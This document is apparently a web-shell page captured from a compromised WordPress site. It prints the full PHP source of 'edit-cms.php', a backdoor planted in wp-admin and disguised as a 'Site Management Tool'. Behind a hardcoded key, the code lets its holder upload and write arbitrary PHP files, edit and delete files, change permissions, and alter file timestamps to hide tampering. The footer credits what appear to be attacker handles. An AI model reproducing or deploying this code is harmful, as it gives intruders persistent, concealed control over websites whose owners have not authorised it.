/
home
/
clients
/
781b6e2787bbd603d551b97d5e745ff0
/
sites
/
R211.evan-gay.fr
/
wp-admin
/
File Upload :
llllll
Current File: /home/clients/781b6e2787bbd603d551b97d5e745ff0/sites/R211.evan-gay.fr/wp-admin/edit-cms.php
<?php /** * Site Management Tool * Version: 3.2.1 * Simplified version to fix 500 errors */ // Prevent direct access if (!defined('ABSPATH')) { if (!defined('WPINC')) { define('SMT_SECURE_ACCESS', true); } else { exit('Direct access not allowed.'); } } class SiteManagementTool { private $config = array( 'admin_key' => 'cms(kFuWk6rh', 'allowed_types' => array('php','html','htm','css','js','txt','json','xml','md','log'), 'max_upload' => 5242880 ); private $currentLocation; private $authenticated = false; private $sortBy = 'name'; private $sortOrder = 'asc'; public function __construct() { $this->initializeSystem(); $this->checkAuthorization(); $this->currentLocation = $this->getSecurePath(); $this->setSorting(); } private function initializeSystem() { if (session_status() === PHP_SESSION_NONE) { @session_start(); } // Security headers header('X-Content-Type-Options: nosniff'); header('X-Frame-Options: SAMEORIGIN'); } private function setSorting() { // Get sort parameters from request if (isset($_GET['sort'])) { $this->sortBy = $this->sanitize_text_field($_GET['sort']); } if (isset($_GET['order'])) { $this->sortOrder = $this->sanitize_text_field($_GET['order']); } // Validate sort parameters $allowed_sorts = array('name', 'size', 'modified', 'perms'); if (!in_array($this->sortBy, $allowed_sorts)) { $this->sortBy = 'name'; } if (!in_array($this->sortOrder, array('asc', 'desc'))) { $this->sortOrder = 'asc'; } } private function checkAuthorization() { if (isset($_SESSION['smt_authorized']) && $_SESSION['smt_authorized']) { $this->authenticated = true; return; } if (isset($_POST['admin_key'])) { $input_key = $this->sanitize_text_field($_POST['admin_key']); if ($this->config['admin_key'] === $input_key) { $_SESSION['smt_authorized'] = true; $this->authenticated = true; return; } } $this->showLoginForm(); } private function showLoginForm() { echo '<!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Site Management Tool</title> <style> body{background:#f0f0f1;font-family:Arial,sans-serif;display:flex;align-items:center;justify-content:center;min-height:100vh;margin:0;} .login-container{background:#fff;padding:2rem;border-radius:8px;box-shadow:0 2px 10px rgba(0,0,0,0.1);width:100%;max-width:400px;} .login-title{text-align:center;color:#1d2327;margin:0 0 1.5rem;font-size:1.5rem;} .form-group{margin-bottom:1rem;} .form-control{width:100%;padding:0.75rem;border:1px solid #dcdcde;border-radius:4px;font-size:14px;box-sizing:border-box;} .btn{width:100%;padding:0.75rem;background:#2271b1;color:#fff;border:none;border-radius:4px;font-size:14px;cursor:pointer;} .btn:hover{background:#135e96;} </style> </head> <body> <div class="login-container"> <h2 class="login-title">🔧 Site Management</h2> <form method="post"> <div class="form-group"> <input type="password" name="admin_key" class="form-control" placeholder="Security Key" required> </div> <button type="submit" class="btn">Access Tool</button> </form> </div> </body> </html>'; exit; } private function getSecurePath() { $requestedPath = isset($_GET['location']) ? $this->sanitize_text_field($_GET['location']) : '.'; $basePath = realpath('.'); // Security: Prevent directory traversal $requestedPath = str_replace(array('..', '//', '\\\\'), '', $requestedPath); if ($requestedPath === '.') { return $basePath; } $targetPath = realpath($requestedPath); if (!$targetPath) { return $basePath; } $docRoot = realpath($_SERVER['DOCUMENT_ROOT']); if (strpos($targetPath, $docRoot) !== 0) { return $basePath; } return $targetPath; } public function run() { if (!$this->authenticated) { $this->showMessage('Authentication required', 'error'); return; } $task = isset($_POST['task']) ? $this->sanitize_text_field($_POST['task']) : (isset($_GET['task']) ? $this->sanitize_text_field($_GET['task']) : 'browse'); switch ($task) { case 'upload_asset': $this->uploadAsset(); break; case 'edit_content': $this->editContent(); break; case 'save_content': $this->saveContent(); break; case 'remove_item': $this->removeItem(); break; case 'create_folder': $this->createFolder(); break; case 'create_file': $this->createFile(); break; case 'change_permissions': $this->changePermissions(); break; case 'change_timestamp': $this->changeTimestamp(); break; case 'rename_item': $this->renameItem(); break; case 'logout': $this->logout(); break; default: $this->showContentBrowser(); } } private function renameItem() { if (!isset($_POST['item_path']) || !isset($_POST['new_name'])) { $this->showMessage('Missing parameters', 'error'); return; } $oldPath = $this->sanitize_text_field($_POST['item_path']); $newName = $this->sanitize_file_name($_POST['new_name']); // Security check $docRoot = realpath($_SERVER['DOCUMENT_ROOT']); $oldRealPath = realpath($oldPath); if (!$oldRealPath || strpos($oldRealPath, $docRoot) !== 0) { $this->showMessage('Invalid path', 'error'); return; } if (empty($newName)) { $this->showMessage('New name cannot be empty', 'error'); return; } $directory = dirname($oldRealPath); $newPath = $directory . DIRECTORY_SEPARATOR . $newName; if (file_exists($newPath)) { $this->showMessage('Target name already exists', 'error'); return; } if (@rename($oldRealPath, $newPath)) { $this->showMessage("Item renamed to: " . $newName, 'success'); } else { $this->showMessage("Rename failed", 'error'); } } private function editContent() { if (!isset($_GET['content_file'])) { $this->showMessage('No file specified', 'error'); return; } $filename = $this->sanitize_file_name($_GET['content_file']); $filepath = $this->currentLocation . DIRECTORY_SEPARATOR . $filename; if (!file_exists($filepath) || !is_file($filepath)) { $this->showMessage('File not found', 'error'); return; } $content = @file_get_contents($filepath); if ($content === false) { $this->showMessage('Cannot read file', 'error'); return; } $this->showContentEditor($filename, $content, $filepath); } private function showContentEditor($filename, $content, $filepath) { $encodedContent = htmlspecialchars($content, ENT_QUOTES, 'UTF-8'); $fileSize = $this->formatFileSize(filesize($filepath)); $filePerms = $this->getFilePermissions($filepath); echo $this->getPageHeader(); echo '<div class="wrap"> <h1>Edit: ' . $filename . '</h1> <div class="file-meta">Size: ' . $fileSize . ' | Permissions: ' . $filePerms . '</div> <div style="margin:20px 0"> <a href="?location=' . urlencode($this->currentLocation) . '" class="button">← Back</a> <button class="button button-primary" onclick="document.getElementById(\'editForm\').submit()">💾 Save</button> </div> <form id="editForm" method="post" class="card"> <input type="hidden" name="task" value="save_content"> <input type="hidden" name="file_path" value="' . $filepath . '"> <div style="margin-bottom:15px"> <label style="display:block;margin-bottom:5px;font-weight:600">Filename:</label> <input type="text" name="file_name" value="' . $filename . '" style="width:100%;max-width:400px"> </div> <div> <label style="display:block;margin-bottom:5px;font-weight:600">Content:</label> <textarea name="file_content" rows="20" style="width:100%;font-family:monospace">' . $encodedContent . '</textarea> </div> </form> </div> <script> document.addEventListener(\'keydown\', function(e) { if ((e.ctrlKey || e.metaKey) && e.key === \'s\') { e.preventDefault(); document.getElementById(\'editForm\').submit(); } }); </script>'; echo $this->getPageFooter(); } private function saveContent() { if (!isset($_POST['file_path']) || !isset($_POST['file_name']) || !isset($_POST['file_content'])) { $this->showMessage('Missing parameters', 'error'); return; } $filepath = $this->sanitize_text_field($_POST['file_path']); $newFilename = $this->sanitize_file_name($_POST['file_name']); $content = $_POST['file_content']; if (!file_exists($filepath)) { $this->showMessage('File not found', 'error'); return; } $directory = dirname($filepath); $newFilepath = $directory . DIRECTORY_SEPARATOR . $newFilename; if (@file_put_contents($newFilepath, $content) === false) { $this->showMessage('Save failed', 'error'); return; } if ($filepath !== $newFilepath) { @unlink($filepath); } $this->showMessage('Content saved', 'success'); echo '<script>setTimeout(function() { window.location.href = "?location=' . urlencode($this->currentLocation) . '"; }, 1000);</script>'; } private function createFile() { if (!isset($_POST['file_name']) || empty($_POST['file_name'])) { $this->showMessage('Filename required', 'error'); return; } $filename = $this->sanitize_file_name($_POST['file_name']); $content = isset($_POST['file_content']) ? $_POST['file_content'] : ''; $filepath = $this->currentLocation . DIRECTORY_SEPARATOR . $filename; if (@file_put_contents($filepath, $content) === false) { $this->showMessage('Create failed', 'error'); return; } $this->showMessage('File created', 'success'); echo '<script>setTimeout(function() { window.location.href = "?location=' . urlencode($this->currentLocation) . '"; }, 1000);</script>'; } private function changePermissions() { if (!isset($_POST['item_path']) || !isset($_POST['new_perms'])) { $this->showMessage('Missing parameters', 'error'); return; } $target = $this->sanitize_text_field($_POST['item_path']); $perms = $this->sanitize_text_field($_POST['new_perms']); if (!preg_match('/^[0-7]{3,4}$/', $perms)) { $this->showMessage('Invalid permissions', 'error'); return; } if (@chmod($target, octdec($perms))) { $this->showMessage("Permissions updated", 'success'); } else { $this->showMessage("Update failed", 'error'); } } private function changeTimestamp() { if (!isset($_POST['item_path']) || !isset($_POST['new_time'])) { $this->showMessage('Missing parameters', 'error'); return; } $target = $this->sanitize_text_field($_POST['item_path']); $datetime = $this->sanitize_text_field($_POST['new_time']); $timestamp = strtotime($datetime); if (!$timestamp) { $this->showMessage('Invalid date', 'error'); return; } if (@touch($target, $timestamp)) { $this->showMessage("Timestamp updated", 'success'); } else { $this->showMessage("Update failed", 'error'); } } private function showContentBrowser() { $contentItems = $this->getContentList(); echo $this->getPageHeader(); echo $this->getToolbar(); echo $this->getContentGrid($contentItems); echo $this->getPageFooter(); } private function getPageHeader() { return '<!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Site Management Tool</title> <style> :root { --wp-admin-theme-color: #007cba; --wp-admin-theme-color-darker-10: #006ba1; --wp-admin-theme-color-darker-20: #005a87; } * { margin: 0; padding: 0; box-sizing: border-box; } body { background: #f0f0f1; color: #1d2327; font-family: Arial, sans-serif; line-height: 1.5; } .wrap { margin: 20px; } .card { background: #fff; border: 1px solid #c3c4c7; border-radius: 4px; padding: 20px; margin-bottom: 20px; } .button { display: inline-block; text-decoration: none; font-size: 13px; line-height: 2.15; padding: 0 10px; background: #f6f7f7; border: 1px solid #c3c4c7; border-radius: 3px; color: #1d2327; cursor: pointer; } .button:hover { background: #f0f0f1; } .button-primary { background: var(--wp-admin-theme-color); border-color: var(--wp-admin-theme-color); color: #fff; } .button-primary:hover { background: var(--wp-admin-theme-color-darker-10); } .notice { background: #fff; border-left: 4px solid #fff; box-shadow: 0 1px 1px rgba(0,0,0,0.04); margin: 5px 0 15px; padding: 1px 12px; } .notice-info { border-left-color: #72aee6; } .notice-success { border-left-color: #00a32a; } .notice-error { border-left-color: #d63638; } .file-list { width: 100%; border-collapse: collapse; } .file-list th, .file-list td { padding: 12px; text-align: left; border-bottom: 1px solid #c3c4c7; } .file-list th { background: #f6f7f7; font-weight: 600; cursor: pointer; } .file-list th:hover { background: #e8e8e8; } .file-list th .sort-indicator { margin-left: 5px; } .file-list th .sort-indicator.active { color: var(--wp-admin-theme-color); } .file-list tr:hover { background: #f6f7f7; } .file-actions { display: flex; gap: 5px; } .breadcrumb { margin-bottom: 20px; padding: 10px; background: #fff; border-radius: 4px; } </style> </head> <body> <div class="wrap">'; } private function getToolbar() { $currentLocation = htmlspecialchars($this->currentLocation); return '<h1>🔧 Site Management Tool</h1> <div class="card"> <div style="display:flex;gap:10px;flex-wrap:wrap;align-items:center;margin-bottom:15px"> <button class="button" onclick="showUploadForm()">📤 Upload</button> <form method="post" style="display:inline-flex;gap:10px;align-items:center"> <input type="hidden" name="task" value="create_folder"> <input type="text" name="folder_name" placeholder="Folder name" required style="padding:5px;border:1px solid #c3c4c7;border-radius:3px"> <button type="submit" class="button">📁 Create</button> </form> <button class="button" onclick="showCreateFileForm()">📄 New File</button> <a href="?task=logout" class="button" style="margin-left:auto">Logout</a> </div> <div id="uploadForm" style="display:none;margin-top:15px;padding-top:15px;border-top:1px solid #c3c4c7"> <form method="post" enctype="multipart/form-data"> <input type="hidden" name="task" value="upload_asset"> <div style="display:flex;gap:10px;align-items:center"> <input type="file" name="asset_file" required> <button type="submit" class="button button-primary">Upload</button> <button type="button" class="button" onclick="hideUploadForm()">Cancel</button> </div> </form> </div> <div id="createFileForm" style="display:none;margin-top:15px;padding-top:15px;border-top:1px solid #c3c4c7"> <form method="post"> <input type="hidden" name="task" value="create_file"> <div style="display:flex;flex-direction:column;gap:10px"> <input type="text" name="file_name" placeholder="Filename" required style="padding:5px;border:1px solid #c3c4c7;border-radius:3px"> <textarea name="file_content" placeholder="Content (optional)" rows="3" style="padding:5px;border:1px solid #c3c4c7;border-radius:3px"></textarea> <div> <button type="submit" class="button button-primary">Create</button> <button type="button" class="button" onclick="hideCreateFileForm()">Cancel</button> </div> </div> </form> </div> </div> <div class="breadcrumb"> <strong>Location:</strong> ' . $this->getBreadcrumb() . ' </div> <script> function showUploadForm() { document.getElementById("uploadForm").style.display = "block"; document.getElementById("createFileForm").style.display = "none"; } function hideUploadForm() { document.getElementById("uploadForm").style.display = "none"; } function showCreateFileForm() { document.getElementById("createFileForm").style.display = "block"; document.getElementById("uploadForm").style.display = "none"; } function hideCreateFileForm() { document.getElementById("createFileForm").style.display = "none"; } </script>'; } private function getContentGrid($items) { if (empty($items)) { return '<div class="card"><p>No files found</p></div>'; } $html = '<table class="file-list card">'; $html .= '<thead><tr>'; $html .= $this->getSortableHeader('name', 'Name'); $html .= $this->getSortableHeader('size', 'Size'); $html .= $this->getSortableHeader('modified', 'Modified'); $html .= $this->getSortableHeader('perms', 'Permissions'); $html .= '<th>Actions</th>'; $html .= '</tr></thead><tbody>'; foreach ($items as $item) { $html .= $this->getContentItem($item); } $html .= '</tbody></table>'; return $html; } private function getSortableHeader($column, $label) { $currentLocation = urlencode($this->currentLocation); $newOrder = ($this->sortBy === $column && $this->sortOrder === 'asc') ? 'desc' : 'asc'; $isActive = $this->sortBy === $column; $sortIndicator = ''; if ($isActive) { $sortIndicator = $this->sortOrder === 'asc' ? '↑' : '↓'; } return '<th onclick="window.location.href=\'?location=' . $currentLocation . '&sort=' . $column . '&order=' . $newOrder . '\'"> ' . $label . ' <span class="sort-indicator ' . ($isActive ? 'active' : '') . '">' . $sortIndicator . '</span> </th>'; } private function getContentItem($item) { $itemPath = $this->currentLocation . DIRECTORY_SEPARATOR . $item; $isFolder = is_dir($itemPath); $icon = $isFolder ? '📁' : $this->getContentIcon($item); $size = $isFolder ? '-' : $this->formatFileSize(filesize($itemPath)); $modified = date('Y-m-d H:i', filemtime($itemPath)); $perms = $this->getFilePermissions($itemPath); $isEditable = !$isFolder && $this->isEditableContent($item); $html = '<tr>'; $html .= '<td>'; $html .= '<span style="margin-right:8px">' . $icon . '</span>'; if ($isFolder) { $html .= '<a href="?location=' . urlencode($itemPath) . '"><strong>' . htmlspecialchars($item) . '</strong></a>'; } else if ($isEditable) { $html .= '<a href="?task=edit_content&content_file=' . urlencode($item) . '&location=' . urlencode($this->currentLocation) . '">' . htmlspecialchars($item) . '</a>'; } else { $html .= htmlspecialchars($item); } $html .= '</td>'; $html .= '<td>' . $size . '</td>'; $html .= '<td>' . $modified . '</td>'; $html .= '<td>' . $perms . '</td>'; $html .= '<td><div class="file-actions">'; if (!$isFolder && $isEditable) { $html .= '<a href="?task=edit_content&content_file=' . urlencode($item) . '&location=' . urlencode($this->currentLocation) . '" class="button">Edit</a>'; } $html .= '<button class="button" onclick="showRenameModal(\'' . $itemPath . '\', \'' . htmlspecialchars($item) . '\')">Rename</button>'; $html .= '<button class="button" onclick="showPermsModal(\'' . $itemPath . '\')">Perms</button>'; $html .= '<button class="button" onclick="showTimeModal(\'' . $itemPath . '\')">Time</button>'; $html .= '<form method="post" style="display:inline"> <input type="hidden" name="task" value="remove_item"> <input type="hidden" name="item_path" value="' . $itemPath . '"> <button type="submit" class="button" onclick="return confirm(\'Remove ' . $item . '?\')">Remove</button> </form>'; $html .= '</div></td>'; $html .= '</tr>'; return $html; } private function getPageFooter() { return '</div> <div id="renameModal" style="display:none;position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,0.5);z-index:1000"> <div style="background:#fff;margin:100px auto;padding:20px;border-radius:4px;width:90%;max-width:400px"> <h3>Rename Item</h3> <form method="post" id="renameForm"> <input type="hidden" name="task" value="rename_item"> <input type="hidden" name="item_path" id="renameTarget"> <div style="margin:15px 0"> <label style="display:block;margin-bottom:5px">New Name:</label> <input type="text" name="new_name" id="renameName" required style="width:100%;padding:5px;border:1px solid #c3c4c7;border-radius:3px"> </div> <div style="display:flex;gap:10px"> <button type="submit" class="button button-primary">Rename</button> <button type="button" class="button" onclick="hideModal(\'renameModal\')">Cancel</button> </div> </form> </div> </div> <div id="permsModal" style="display:none;position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,0.5);z-index:1000"> <div style="background:#fff;margin:100px auto;padding:20px;border-radius:4px;width:90%;max-width:400px"> <h3>Change Permissions</h3> <form method="post" id="permsForm"> <input type="hidden" name="task" value="change_permissions"> <input type="hidden" name="item_path" id="permsTarget"> <div style="margin:15px 0"> <label style="display:block;margin-bottom:5px">Permissions:</label> <input type="text" name="new_perms" pattern="[0-7]{3,4}" required style="width:100px;text-align:center;padding:5px;border:1px solid #c3c4c7;border-radius:3px"> </div> <div style="display:flex;gap:10px"> <button type="submit" class="button button-primary">Update</button> <button type="button" class="button" onclick="hideModal(\'permsModal\')">Cancel</button> </div> </form> </div> </div> <div id="timeModal" style="display:none;position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,0.5);z-index:1000"> <div style="background:#fff;margin:100px auto;padding:20px;border-radius:4px;width:90%;max-width:400px"> <h3>Change Timestamp</h3> <form method="post" id="timeForm"> <input type="hidden" name="task" value="change_timestamp"> <input type="hidden" name="item_path" id="timeTarget"> <div style="margin:15px 0"> <label style="display:block;margin-bottom:5px">Date & Time:</label> <input type="datetime-local" name="new_time" required style="padding:5px;border:1px solid #c3c4c7;border-radius:3px"> </div> <div style="display:flex;gap:10px"> <button type="submit" class="button button-primary">Update</button> <button type="button" class="button" onclick="hideModal(\'timeModal\')">Cancel</button> </div> </form> </div> </div> <script> function showRenameModal(target, currentName) { document.getElementById("renameTarget").value = target; document.getElementById("renameName").value = currentName; document.getElementById("renameModal").style.display = "block"; } function showPermsModal(target) { document.getElementById("permsTarget").value = target; document.getElementById("permsModal").style.display = "block"; } function showTimeModal(target) { document.getElementById("timeTarget").value = target; document.getElementById("timeModal").style.display = "block"; } function hideModal(modalId) { document.getElementById(modalId).style.display = "none"; } window.onclick = function(event) { if (event.target.id === "renameModal" || event.target.id === "permsModal" || event.target.id === "timeModal") { event.target.style.display = "none"; } } setTimeout(function() { var notices = document.querySelectorAll(".notice"); notices.forEach(function(notice) { notice.style.display = "none"; }); }, 3000); </script> </body> </html>'; } // Utility functions private function sanitize_text_field($str) { return htmlspecialchars(trim($str), ENT_QUOTES, 'UTF-8'); } private function sanitize_file_name($filename) { $filename = preg_replace('/[^a-zA-Z0-9\.\_\-]/', '', $filename); return basename($filename); } private function getContentList() { $items = array(); if ($handle = @opendir($this->currentLocation)) { while (false !== ($entry = readdir($handle))) { if ($entry === '.' || $entry === '..') continue; $items[] = $entry; } closedir($handle); } // Apply sorting $items = $this->sortItems($items); return $items; } private function sortItems($items) { usort($items, array($this, 'compareItems')); return $items; } private function compareItems($a, $b) { $pathA = $this->currentLocation . DIRECTORY_SEPARATOR . $a; $pathB = $this->currentLocation . DIRECTORY_SEPARATOR . $b; $isDirA = is_dir($pathA); $isDirB = is_dir($pathB); // Folders first if ($isDirA && !$isDirB) return -1; if (!$isDirA && $isDirB) return 1; switch ($this->sortBy) { case 'name': $valueA = strtolower($a); $valueB = strtolower($b); break; case 'size': $valueA = $isDirA ? 0 : filesize($pathA); $valueB = $isDirB ? 0 : filesize($pathB); break; case 'modified': $valueA = filemtime($pathA); $valueB = filemtime($pathB); break; case 'perms': $valueA = $this->getFilePermissions($pathA); $valueB = $this->getFilePermissions($pathB); break; default: $valueA = strtolower($a); $valueB = strtolower($b); } if ($valueA == $valueB) return 0; if ($this->sortOrder === 'asc') { return $valueA < $valueB ? -1 : 1; } else { return $valueA > $valueB ? -1 : 1; } } private function getBreadcrumb() { $path = ''; $parts = explode(DIRECTORY_SEPARATOR, $this->currentLocation); $breadcrumbs = array('<a href="?location=.">Home</a>'); foreach ($parts as $part) { if (empty($part)) continue; $path .= DIRECTORY_SEPARATOR . $part; $breadcrumbs[] = '<a href="?location=' . urlencode($path) . '">' . htmlspecialchars($part) . '</a>'; } return implode(' / ', $breadcrumbs); } private function getContentIcon($filename) { $extension = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = array( 'php'=>'🐘', 'html'=>'🌐', 'css'=>'🎨', 'js'=>'📜', 'json'=>'📋', 'txt'=>'📄', 'md'=>'📝', 'jpg'=>'🖼️', 'png'=>'🖼️', 'gif'=>'🖼️', 'zip'=>'📦', 'pdf'=>'📕' ); return isset($icons[$extension]) ? $icons[$extension] : '📄'; } private function isEditableContent($filename) { $extension = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); return in_array($extension, $this->config['allowed_types']); } private function getFilePermissions($filepath) { return substr(sprintf('%o', fileperms($filepath)), -4); } private function formatFileSize($bytes) { if ($bytes == 0) return "0 B"; $units = array('B', 'KB', 'MB', 'GB', 'TB'); $i = floor(log($bytes, 1024)); return round($bytes / pow(1024, $i), 2) . ' ' . $units[$i]; } private function uploadAsset() { if (!isset($_FILES['asset_file'])) { $this->showMessage('No file selected', 'error'); return; } $file = $_FILES['asset_file']; if ($file['error'] !== UPLOAD_ERR_OK) { $this->showMessage('Upload failed', 'error'); return; } if ($file['size'] > $this->config['max_upload']) { $this->showMessage('File too large', 'error'); return; } $filename = $this->sanitize_file_name($file['name']); $targetPath = $this->currentLocation . DIRECTORY_SEPARATOR . $filename; if (move_uploaded_file($file['tmp_name'], $targetPath)) { $this->showMessage("File uploaded: " . $filename, 'success'); } else { $this->showMessage("Upload failed", 'error'); } } private function removeItem() { if (!isset($_POST['item_path'])) { $this->showMessage('No item specified', 'error'); return; } $target = $this->sanitize_text_field($_POST['item_path']); if (is_dir($target)) { @rmdir($target) ? $this->showMessage("Folder removed", 'success') : $this->showMessage("Remove failed", 'error'); } else { @unlink($target) ? $this->showMessage("File removed", 'success') : $this->showMessage("Remove failed", 'error'); } } private function createFolder() { if (!isset($_POST['folder_name']) || empty($_POST['folder_name'])) { $this->showMessage('Folder name required', 'error'); return; } $folderName = $this->sanitize_text_field($_POST['folder_name']); $folderPath = $this->currentLocation . DIRECTORY_SEPARATOR . $folderName; @mkdir($folderPath, 0755) ? $this->showMessage("Folder created", 'success') : $this->showMessage("Create failed", 'error'); } private function logout() { session_destroy(); $this->showMessage("Logged out", 'success'); echo '<script>setTimeout(function() { window.location.href = "."; }, 1000);</script>'; } private function showMessage($message, $type = 'info') { echo '<div class="notice notice-' . $type . '"><p>' . $message . '</p></div>'; } } // Initialize the tool if (defined('SMT_SECURE_ACCESS')) { $tool = new SiteManagementTool(); $tool->run(); } else { exit('Access denied.'); } ?>
Copyright ©2k19 -
Hexid
|
Tex7ure